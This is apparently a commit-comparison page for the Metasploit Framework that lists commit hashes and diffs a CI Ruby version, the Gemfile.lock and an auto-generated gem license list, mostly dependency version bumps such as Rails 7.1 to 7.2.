Compare commits
209 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| b59fd1c61a | |||
| eb003f704d | |||
| 7ca82b47fb | |||
| 8251d89e92 | |||
| 0273f1474f | |||
| 3e882a3767 | |||
| e59a24823b | |||
| 4200f51fdf | |||
| e1407833c2 | |||
| ec7d47c271 | |||
| 3122426ebe | |||
| abe932cdee | |||
| b6d9172d5b | |||
| 9dee394cab | |||
| 003870e295 | |||
| 7c3ba83dd4 | |||
| 332a55cb4f | |||
| a1630c0b81 | |||
| 3817ed2e70 | |||
| 2734daec0f | |||
| ced20bf15a | |||
| d25fd0825c | |||
| af0fe9e5cc | |||
| 093d9f9a99 | |||
| b23775124b | |||
| b8dad8d85f | |||
| 5e6d442860 | |||
| e8b441a5d3 | |||
| 6a26428029 | |||
| 9caa2be9a2 | |||
| 41698afa32 | |||
| b6dc0860e7 | |||
| 0a923a611d | |||
| 00ea22600c | |||
| c5e342d874 | |||
| 70f2cbe055 | |||
| 2553fed202 | |||
| f8acc93fdd | |||
| 9a9028e93d | |||
| 74c10a4d4b | |||
| 8914520139 | |||
| 6f97dbe239 | |||
| d0f0b3532f | |||
| 604fc95bc6 | |||
| aab4142068 | |||
| e9941fd91f | |||
| 31b9dcdeb2 | |||
| c99702c8bf | |||
| 26bf49a024 | |||
| becdda1591 | |||
| cf92cbb3d8 | |||
| 30c32d2643 | |||
| c4a2189614 | |||
| f691d81899 | |||
| 6ff04da954 | |||
| a81884fb9e | |||
| 7d744c2a45 | |||
| 2c9053c45e | |||
| 26099da7a2 | |||
| 46b3012cda | |||
| a6d86fbe59 | |||
| c8f756dd37 | |||
| 6d60db195b | |||
| a5b7c9859d | |||
| 8985cd773d | |||
| 25e053804e | |||
| ee05f88770 | |||
| 56fc33f7f2 | |||
| d45193b7ac | |||
| fa68bd8353 | |||
| 2fac43c3ed | |||
| 9e10d243b9 | |||
| ef6e59dcc3 | |||
| 02ff2ad000 | |||
| f18787e5c5 | |||
| f7930a9977 | |||
| 5fe57c6804 | |||
| 5dd2fef0a9 | |||
| 5fd6184494 | |||
| a7ab23d083 | |||
| da7ee9d9f8 | |||
| 50ef5edd90 | |||
| 3e47e4a08b | |||
| 90b60c78ac | |||
| 4c94f9f94b | |||
| 8b4ea900cc | |||
| 7d82ecb6b0 | |||
| 480a81dddb | |||
| cb615899ee | |||
| 63cd2cb93a | |||
| 1c14a9756a | |||
| 8d3a35f332 | |||
| 53e2d138e8 | |||
| 8130316de9 | |||
| c9e0c7171b | |||
| 744188fb88 | |||
| 2328b40df7 | |||
| 569387c470 | |||
| 96532bd1e7 | |||
| 540e8b91d0 | |||
| d2175c372f | |||
| 2cab34736c | |||
| e34397b8e5 | |||
| 854a5bc01c | |||
| 333b5278ac | |||
| 53c3396821 | |||
| 8bbfaac13c | |||
| ff724d0b5c | |||
| f766f49d6a | |||
| de15d1e449 | |||
| e88883c82b | |||
| 84e2e6be69 | |||
| 3d0cfd0dfc | |||
| 3fb2477fbf | |||
| 13df676863 | |||
| a1c95e64ba | |||
| 8179de6cea | |||
| 1161954677 | |||
| 18b611f199 | |||
| dc787b1947 | |||
| e44f54fda0 | |||
| 2a70b78316 | |||
| 6ccc49523c | |||
| 4b52708357 | |||
| 6c9f8ef8c9 | |||
| 1361e91fa1 | |||
| 5fc5c6691e | |||
| 16a5fa2881 | |||
| 96ba71b47f | |||
| d20494d47f | |||
| d3f6faa99d | |||
| cf243b5d5c | |||
| f454954b0a | |||
| 9c03306100 | |||
| c38cc4444f | |||
| 99ac3691f6 | |||
| 424e4fbd48 | |||
| 87d7decdca | |||
| 4b4e7cc58b | |||
| 552a791e37 | |||
| cb381ad542 | |||
| 0a531b48c5 | |||
| 541e8d6191 | |||
| 77f6110842 | |||
| e095c793c7 | |||
| c2971d5307 | |||
| 85aca3c380 | |||
| eb8e7cec27 | |||
| e40da3a887 | |||
| f4622d802e | |||
| 12340ef6b5 | |||
| 0ce1617288 | |||
| 5162a8d3b3 | |||
| ecfdec9678 | |||
| d48419160b | |||
| 06c17a6e77 | |||
| d88c4bde88 | |||
| 5aee8d5d42 | |||
| bd3ce5f20e | |||
| 56f138c4a1 | |||
| 7450d728c1 | |||
| 64905f866e | |||
| 3237151512 | |||
| edfa84ed42 | |||
| 228a066521 | |||
| 36fff14466 | |||
| f16f7bf2ad | |||
| ae95d3d4e8 | |||
| 8df7f64e79 | |||
| 6d9d9a70d4 | |||
| 86d5d52838 | |||
| 1fb76b1776 | |||
| cbc03eaeeb | |||
| 44c61a7e4d | |||
| fcff88b644 | |||
| 392f87dee2 | |||
| 679c74f145 | |||
| e4686fe129 | |||
| a81710486e | |||
| 54c86cfc10 | |||
| 899e275155 | |||
| b8cf458706 | |||
| 7838e06f4f | |||
| d2a1f7bae9 | |||
| 9c1b7e94eb | |||
| 75f6e6a748 | |||
| ed5c13330f | |||
| 58704e9eab | |||
| 54c5cdaf61 | |||
| 714f667c0f | |||
| 68a3f5624c | |||
| 8928362581 | |||
| 82610aec24 | |||
| abbcdda694 | |||
| 708dcaf36e | |||
| 90d15cbe61 | |||
| 7a9cd79170 | |||
| 639315452c | |||
| 0344591863 | |||
| f6e0c43ed9 | |||
| a412070a12 | |||
| 5e3e975b7d | |||
| c4ca4d6999 | |||
| 70bafdfcd8 | |||
| e4bc2a6528 | |||
| dd23be9695 | |||
| e44043b88a | |||
| a7f4da5431 | |||
| 44617cbe37 |
@@ -38,7 +38,7 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.0'
|
||||
- '3.3'
|
||||
|
||||
name: Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
|
||||
+96
-101
@@ -1,12 +1,12 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.4.76)
|
||||
metasploit-framework (6.4.80)
|
||||
aarch64
|
||||
abbrev
|
||||
actionpack (~> 7.1.0)
|
||||
activerecord (~> 7.1.0)
|
||||
activesupport (~> 7.1.0)
|
||||
actionpack (~> 7.2.0)
|
||||
activerecord (~> 7.2.0)
|
||||
activesupport (~> 7.2.0)
|
||||
aws-sdk-ec2
|
||||
aws-sdk-ec2instanceconnect
|
||||
aws-sdk-iam
|
||||
@@ -20,7 +20,6 @@ PATH
|
||||
bootsnap
|
||||
bson
|
||||
chunky_png
|
||||
concurrent-ruby (= 1.3.4)
|
||||
csv
|
||||
dnsruby
|
||||
drb
|
||||
@@ -48,7 +47,7 @@ PATH
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.221)
|
||||
metasploit_data_models (>= 6.0.7)
|
||||
metasploit_payloads-mettle (= 1.0.42)
|
||||
metasploit_payloads-mettle (= 1.0.45)
|
||||
mqtt
|
||||
msgpack (~> 1.6.0)
|
||||
mutex_m
|
||||
@@ -71,7 +70,7 @@ PATH
|
||||
pdf-reader
|
||||
pg
|
||||
puma
|
||||
rack (~> 2.2)
|
||||
rack
|
||||
railties
|
||||
rasn1 (= 0.14.0)
|
||||
rb-readline
|
||||
@@ -102,13 +101,13 @@ PATH
|
||||
ruby_smb (~> 3.3.15)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra (~> 3.2)
|
||||
sinatra
|
||||
sqlite3 (= 1.7.3)
|
||||
sshkey
|
||||
stringio (= 3.1.1)
|
||||
swagger-blocks
|
||||
syslog
|
||||
thin (~> 1.8)
|
||||
thin
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
unix-crypt
|
||||
@@ -127,83 +126,82 @@ GEM
|
||||
aarch64 (2.1.0)
|
||||
racc (~> 1.6)
|
||||
abbrev (0.1.2)
|
||||
actionpack (7.1.5.1)
|
||||
actionview (= 7.1.5.1)
|
||||
activesupport (= 7.1.5.1)
|
||||
actionpack (7.2.2.1)
|
||||
actionview (= 7.2.2.1)
|
||||
activesupport (= 7.2.2.1)
|
||||
nokogiri (>= 1.8.5)
|
||||
racc
|
||||
rack (>= 2.2.4)
|
||||
rack (>= 2.2.4, < 3.2)
|
||||
rack-session (>= 1.0.1)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.2)
|
||||
rails-html-sanitizer (~> 1.6)
|
||||
actionview (7.1.5.1)
|
||||
activesupport (= 7.1.5.1)
|
||||
useragent (~> 0.16)
|
||||
actionview (7.2.2.1)
|
||||
activesupport (= 7.2.2.1)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.11)
|
||||
rails-dom-testing (~> 2.2)
|
||||
rails-html-sanitizer (~> 1.6)
|
||||
activemodel (7.1.5.1)
|
||||
activesupport (= 7.1.5.1)
|
||||
activerecord (7.1.5.1)
|
||||
activemodel (= 7.1.5.1)
|
||||
activesupport (= 7.1.5.1)
|
||||
activemodel (7.2.2.1)
|
||||
activesupport (= 7.2.2.1)
|
||||
activerecord (7.2.2.1)
|
||||
activemodel (= 7.2.2.1)
|
||||
activesupport (= 7.2.2.1)
|
||||
timeout (>= 0.4.0)
|
||||
activesupport (7.1.5.1)
|
||||
activesupport (7.2.2.1)
|
||||
base64
|
||||
benchmark (>= 0.3)
|
||||
bigdecimal
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
concurrent-ruby (~> 1.0, >= 1.3.1)
|
||||
connection_pool (>= 2.2.5)
|
||||
drb
|
||||
i18n (>= 1.6, < 2)
|
||||
logger (>= 1.4.2)
|
||||
minitest (>= 5.1)
|
||||
mutex_m
|
||||
securerandom (>= 0.3)
|
||||
tzinfo (~> 2.0)
|
||||
tzinfo (~> 2.0, >= 2.0.5)
|
||||
addressable (2.8.7)
|
||||
public_suffix (>= 2.0.2, < 7.0)
|
||||
afm (0.2.2)
|
||||
allure-rspec (2.27.0)
|
||||
allure-ruby-commons (= 2.27.0)
|
||||
allure-rspec (2.26.0)
|
||||
allure-ruby-commons (= 2.26.0)
|
||||
rspec-core (>= 3.8, < 4)
|
||||
allure-ruby-commons (2.27.0)
|
||||
allure-ruby-commons (2.26.0)
|
||||
mime-types (>= 3.3, < 4)
|
||||
require_all (>= 2, < 4)
|
||||
rspec-expectations (~> 3.12)
|
||||
arel-helpers (2.16.0)
|
||||
activerecord (>= 3.1.0, < 8.1)
|
||||
ast (2.4.3)
|
||||
aws-eventstream (1.4.0)
|
||||
aws-partitions (1.1134.0)
|
||||
aws-sdk-core (3.227.0)
|
||||
aws-eventstream (1.3.2)
|
||||
aws-partitions (1.1065.0)
|
||||
aws-sdk-core (3.220.1)
|
||||
aws-eventstream (~> 1, >= 1.3.0)
|
||||
aws-partitions (~> 1, >= 1.992.0)
|
||||
aws-sigv4 (~> 1.9)
|
||||
base64
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
logger
|
||||
aws-sdk-ec2 (1.541.0)
|
||||
aws-sdk-core (~> 3, >= 3.227.0)
|
||||
aws-sdk-ec2 (1.511.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ec2instanceconnect (1.59.0)
|
||||
aws-sdk-core (~> 3, >= 3.227.0)
|
||||
aws-sdk-ec2instanceconnect (1.55.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-iam (1.125.0)
|
||||
aws-sdk-core (~> 3, >= 3.227.0)
|
||||
aws-sdk-iam (1.119.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-kms (1.107.0)
|
||||
aws-sdk-core (~> 3, >= 3.227.0)
|
||||
aws-sdk-kms (1.99.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-s3 (1.194.0)
|
||||
aws-sdk-core (~> 3, >= 3.227.0)
|
||||
aws-sdk-s3 (1.182.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sdk-ssm (1.199.0)
|
||||
aws-sdk-core (~> 3, >= 3.227.0)
|
||||
aws-sdk-ssm (1.191.0)
|
||||
aws-sdk-core (~> 3, >= 3.216.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sigv4 (1.12.1)
|
||||
aws-sigv4 (1.11.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
base64 (0.2.0)
|
||||
bcrypt (3.1.20)
|
||||
@@ -211,30 +209,32 @@ GEM
|
||||
benchmark (0.4.1)
|
||||
bigdecimal (3.2.2)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.18.6)
|
||||
bootsnap (1.18.4)
|
||||
msgpack (~> 1.2)
|
||||
bson (5.1.1)
|
||||
bson (5.0.2)
|
||||
builder (3.3.0)
|
||||
byebug (12.0.0)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.3.4)
|
||||
concurrent-ruby (1.3.5)
|
||||
connection_pool (2.5.3)
|
||||
cookiejar (0.3.4)
|
||||
crass (1.0.6)
|
||||
csv (3.3.5)
|
||||
csv (3.3.2)
|
||||
daemons (1.4.1)
|
||||
date (3.4.1)
|
||||
debug (1.11.0)
|
||||
debug (1.10.0)
|
||||
irb (~> 1.10)
|
||||
reline (>= 0.3.8)
|
||||
diff-lcs (1.6.2)
|
||||
dnsruby (1.72.2)
|
||||
dnsruby (1.72.4)
|
||||
base64 (~> 0.2.0)
|
||||
logger (~> 1.6.5)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.1)
|
||||
domain_name (0.6.20240107)
|
||||
drb (2.2.3)
|
||||
ed25519 (1.4.0)
|
||||
ed25519 (1.3.0)
|
||||
elftools (1.3.1)
|
||||
bindata (~> 2)
|
||||
em-http-request (1.1.7)
|
||||
@@ -254,20 +254,20 @@ GEM
|
||||
factory_bot_rails (6.5.0)
|
||||
factory_bot (~> 6.5)
|
||||
railties (>= 6.1.0)
|
||||
faker (3.5.2)
|
||||
faker (3.5.1)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.7.11)
|
||||
base64
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.3.2)
|
||||
faraday-retry (2.2.1)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.12.0)
|
||||
faye-websocket (0.11.3)
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.8.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
ffi (1.16.3)
|
||||
fiddle (1.1.8)
|
||||
fiddle (1.1.6)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
forwardable (1.3.3)
|
||||
@@ -298,7 +298,7 @@ GEM
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.13.1)
|
||||
json (2.10.2)
|
||||
language_server-protocol (3.17.0.5)
|
||||
license_finder (5.11.1)
|
||||
bundler
|
||||
@@ -309,7 +309,7 @@ GEM
|
||||
xml-simple
|
||||
lint_roller (1.1.0)
|
||||
little-plugger (1.1.4)
|
||||
logger (1.7.0)
|
||||
logger (1.6.6)
|
||||
logging (2.4.0)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
@@ -348,35 +348,32 @@ GEM
|
||||
mutex_m
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.221)
|
||||
metasploit_data_models (6.0.10)
|
||||
metasploit_data_models (6.0.9)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
arel-helpers
|
||||
bigdecimal
|
||||
drb
|
||||
metasploit-concern
|
||||
metasploit-model (>= 3.1)
|
||||
mutex_m
|
||||
pg
|
||||
railties (~> 7.0)
|
||||
recog
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.42)
|
||||
metasploit_payloads-mettle (1.0.45)
|
||||
method_source (1.1.0)
|
||||
mime-types (3.7.0)
|
||||
mime-types (3.6.0)
|
||||
logger
|
||||
mime-types-data (~> 3.2025, >= 3.2025.0507)
|
||||
mime-types-data (3.2025.0722)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2025.0304)
|
||||
mini_portile2 (2.8.9)
|
||||
minitest (5.25.5)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.17.0)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.3)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
mutex_m (0.3.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-imap (0.5.9)
|
||||
net-imap (0.5.6)
|
||||
date
|
||||
net-protocol
|
||||
net-ldap (0.19.0)
|
||||
@@ -401,7 +398,7 @@ GEM
|
||||
openssl-ccm (1.2.3)
|
||||
openssl-cmac (2.0.2)
|
||||
openvas-omp (0.0.4)
|
||||
ostruct (0.6.3)
|
||||
ostruct (0.6.1)
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.27.0)
|
||||
@@ -422,16 +419,16 @@ GEM
|
||||
prettyprint
|
||||
prettyprint (0.2.0)
|
||||
prism (1.4.0)
|
||||
pry (0.15.2)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.11.0)
|
||||
byebug (~> 12.0)
|
||||
pry (>= 0.13, < 0.16)
|
||||
pry-byebug (3.10.1)
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
psych (5.2.6)
|
||||
date
|
||||
stringio
|
||||
public_suffix (6.0.2)
|
||||
public_suffix (6.0.1)
|
||||
puma (6.6.0)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.8.1)
|
||||
@@ -453,10 +450,10 @@ GEM
|
||||
rails-html-sanitizer (1.6.2)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (>= 1.15.7, != 1.16.7, != 1.16.6, != 1.16.5, != 1.16.4, != 1.16.3, != 1.16.2, != 1.16.1, != 1.16.0.rc1, != 1.16.0)
|
||||
railties (7.1.5.1)
|
||||
actionpack (= 7.1.5.1)
|
||||
activesupport (= 7.1.5.1)
|
||||
irb
|
||||
railties (7.2.2.1)
|
||||
actionpack (= 7.2.2.1)
|
||||
activesupport (= 7.2.2.1)
|
||||
irb (~> 1.13)
|
||||
rackup (>= 1.0.0)
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0, >= 1.2.2)
|
||||
@@ -469,7 +466,7 @@ GEM
|
||||
rdoc (6.14.2)
|
||||
erb
|
||||
psych (>= 4.0.0)
|
||||
recog (3.1.18)
|
||||
recog (3.1.14)
|
||||
nokogiri
|
||||
redcarpet (3.6.1)
|
||||
regexp_parser (2.10.0)
|
||||
@@ -478,7 +475,7 @@ GEM
|
||||
require_all (3.0.0)
|
||||
rex-arch (0.1.18)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.12)
|
||||
rex-bin_tools (0.1.10)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
@@ -489,29 +486,26 @@ GEM
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.42)
|
||||
bigdecimal
|
||||
rex-exploitation (0.1.41)
|
||||
jsobfu
|
||||
metasm
|
||||
racc
|
||||
rex-arch
|
||||
rex-encoder
|
||||
rex-text
|
||||
rexml
|
||||
rex-java (0.1.8)
|
||||
rex-mime (0.1.12)
|
||||
bigdecimal
|
||||
rex-mime (0.1.11)
|
||||
rex-text
|
||||
rex-nop (0.1.4)
|
||||
rex-arch
|
||||
rex-ole (0.1.9)
|
||||
rex-text
|
||||
rex-powershell (0.1.102)
|
||||
rex-powershell (0.1.103)
|
||||
bigdecimal
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
ruby-rc4
|
||||
rex-random_identifier (0.1.16)
|
||||
rex-random_identifier (0.1.20)
|
||||
bigdecimal
|
||||
rex-text
|
||||
rex-registry (0.1.6)
|
||||
@@ -519,7 +513,7 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.63)
|
||||
rex-socket (0.1.62)
|
||||
dnsruby
|
||||
rex-core
|
||||
rex-sslscan (0.1.13)
|
||||
@@ -537,7 +531,7 @@ GEM
|
||||
forwardable
|
||||
ipaddr
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.13.1)
|
||||
rspec (3.13.0)
|
||||
rspec-core (~> 3.13.0)
|
||||
rspec-expectations (~> 3.13.0)
|
||||
rspec-mocks (~> 3.13.0)
|
||||
@@ -549,10 +543,10 @@ GEM
|
||||
rspec-mocks (3.13.5)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-rails (7.1.1)
|
||||
actionpack (>= 7.0)
|
||||
activesupport (>= 7.0)
|
||||
railties (>= 7.0)
|
||||
rspec-rails (8.0.1)
|
||||
actionpack (>= 7.2)
|
||||
activesupport (>= 7.2)
|
||||
railties (>= 7.2)
|
||||
rspec-core (~> 3.13)
|
||||
rspec-expectations (~> 3.13)
|
||||
rspec-mocks (~> 3.13)
|
||||
@@ -571,7 +565,7 @@ GEM
|
||||
rubocop-ast (>= 1.44.0, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 4.0)
|
||||
rubocop-ast (1.46.0)
|
||||
rubocop-ast (1.44.1)
|
||||
parser (>= 3.3.7.2)
|
||||
prism (~> 1.4)
|
||||
ruby-macho (4.1.0)
|
||||
@@ -581,7 +575,7 @@ GEM
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.3.16)
|
||||
ruby_smb (3.3.15)
|
||||
bindata (= 2.4.15)
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -597,7 +591,7 @@ GEM
|
||||
simplecov (0.18.2)
|
||||
docile (~> 1.1)
|
||||
simplecov-html (~> 0.11)
|
||||
simplecov-html (0.13.2)
|
||||
simplecov-html (0.13.1)
|
||||
simpleidn (0.2.3)
|
||||
sinatra (3.2.0)
|
||||
mustermann (~> 3.0)
|
||||
@@ -618,7 +612,7 @@ GEM
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.4.0)
|
||||
tilt (2.6.1)
|
||||
tilt (2.6.0)
|
||||
timecop (0.9.10)
|
||||
timeout (0.4.3)
|
||||
toml (0.2.0)
|
||||
@@ -627,16 +621,17 @@ GEM
|
||||
bigdecimal (~> 3.1)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2025.2)
|
||||
tzinfo-data (1.2025.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
unicode-display_width (3.1.4)
|
||||
unicode-emoji (~> 4.0, >= 4.0.4)
|
||||
unicode-emoji (4.0.4)
|
||||
unix-crypt (1.3.1)
|
||||
useragent (0.16.11)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
webrick (1.9.1)
|
||||
websocket-driver (0.8.0)
|
||||
websocket-driver (0.7.7)
|
||||
base64
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.5)
|
||||
@@ -688,4 +683,4 @@ DEPENDENCIES
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
2.5.22
|
||||
2.5.10
|
||||
|
||||
+29
-28
@@ -2,11 +2,11 @@ This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 2.0.1, MIT
|
||||
aarch64, 2.1.0, "Apache 2.0"
|
||||
abbrev, 0.1.2, "ruby, Simplified BSD"
|
||||
actionpack, 7.1.5.1, MIT
|
||||
actionview, 7.1.5.1, MIT
|
||||
activemodel, 7.1.5.1, MIT
|
||||
activerecord, 7.1.5.1, MIT
|
||||
activesupport, 7.1.5.1, MIT
|
||||
actionpack, 7.2.2.1, MIT
|
||||
actionview, 7.2.2.1, MIT
|
||||
activemodel, 7.2.2.1, MIT
|
||||
activerecord, 7.2.2.1, MIT
|
||||
activesupport, 7.2.2.1, MIT
|
||||
addressable, 2.8.7, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
allure-rspec, 2.26.0, "Apache 2.0"
|
||||
@@ -32,19 +32,19 @@ bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.18.4, MIT
|
||||
bson, 5.0.2, "Apache 2.0"
|
||||
builder, 3.3.0, MIT
|
||||
bundler, 2.5.22, MIT
|
||||
bundler, 2.5.10, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
chunky_png, 1.4.0, MIT
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.3.4, MIT
|
||||
concurrent-ruby, 1.3.5, MIT
|
||||
connection_pool, 2.5.3, MIT
|
||||
cookiejar, 0.3.4, "Simplified BSD"
|
||||
crass, 1.0.6, MIT
|
||||
csv, 3.3.2, "ruby, Simplified BSD"
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.4.1, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.6.0, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
|
||||
debug, 1.10.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.6.2, "MIT, Artistic-1.0-Perl, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.4, "Apache 2.0"
|
||||
docile, 1.4.1, MIT
|
||||
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
@@ -56,8 +56,8 @@ em-socksify, 0.3.3, MIT
|
||||
erb, 5.0.2, "ruby, Simplified BSD"
|
||||
erubi, 1.13.1, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.5.1, MIT
|
||||
factory_bot_rails, 6.4.4, MIT
|
||||
factory_bot, 6.5.4, MIT
|
||||
factory_bot_rails, 6.5.0, MIT
|
||||
faker, 3.5.1, MIT
|
||||
faraday, 2.7.11, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
@@ -96,11 +96,11 @@ memory_profiler, 1.1.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.5, "New BSD"
|
||||
metasploit-credential, 6.0.16, "New BSD"
|
||||
metasploit-framework, 6.4.76, "New BSD"
|
||||
metasploit-framework, 6.4.80, "New BSD"
|
||||
metasploit-model, 5.0.4, "New BSD"
|
||||
metasploit-payloads, 2.0.221, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.10, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.42, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.9, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.45, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.6.0, MIT
|
||||
mime-types-data, 3.2025.0304, MIT
|
||||
@@ -121,7 +121,7 @@ net-ssh, 7.3.0, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.7.4, "MIT, Simplified BSD"
|
||||
nokogiri, 1.18.8, MIT
|
||||
nokogiri, 1.18.9, MIT
|
||||
nori, 2.7.1, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
@@ -152,16 +152,16 @@ rack-test, 2.2.0, MIT
|
||||
rackup, 1.0.1, MIT
|
||||
rails-dom-testing, 2.3.0, MIT
|
||||
rails-html-sanitizer, 1.6.2, MIT
|
||||
railties, 7.1.5.1, MIT
|
||||
railties, 7.2.2.1, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.3.0, MIT
|
||||
rasn1, 0.14.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
rdoc, 6.14.2, ruby
|
||||
recog, 3.1.17, unknown
|
||||
recog, 3.1.14, unknown
|
||||
redcarpet, 3.6.1, MIT
|
||||
regexp_parser, 2.10.0, MIT
|
||||
reline, 0.6.1, ruby
|
||||
reline, 0.6.2, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.18, "New BSD"
|
||||
rex-bin_tools, 0.1.10, "New BSD"
|
||||
@@ -172,11 +172,11 @@ rex-java, 0.1.8, "New BSD"
|
||||
rex-mime, 0.1.11, "New BSD"
|
||||
rex-nop, 0.1.4, "New BSD"
|
||||
rex-ole, 0.1.9, "New BSD"
|
||||
rex-powershell, 0.1.101, "New BSD"
|
||||
rex-random_identifier, 0.1.16, "New BSD"
|
||||
rex-powershell, 0.1.103, "New BSD"
|
||||
rex-random_identifier, 0.1.20, "New BSD"
|
||||
rex-registry, 0.1.6, "New BSD"
|
||||
rex-rop_builder, 0.1.6, "New BSD"
|
||||
rex-socket, 0.1.63, "New BSD"
|
||||
rex-socket, 0.1.62, "New BSD"
|
||||
rex-sslscan, 0.1.13, "New BSD"
|
||||
rex-struct2, 0.1.5, "New BSD"
|
||||
rex-text, 0.2.61, "New BSD"
|
||||
@@ -185,17 +185,17 @@ rexml, 3.4.1, "Simplified BSD"
|
||||
rinda, 0.2.0, "ruby, Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.13.0, MIT
|
||||
rspec-core, 3.13.3, MIT
|
||||
rspec-expectations, 3.13.3, MIT
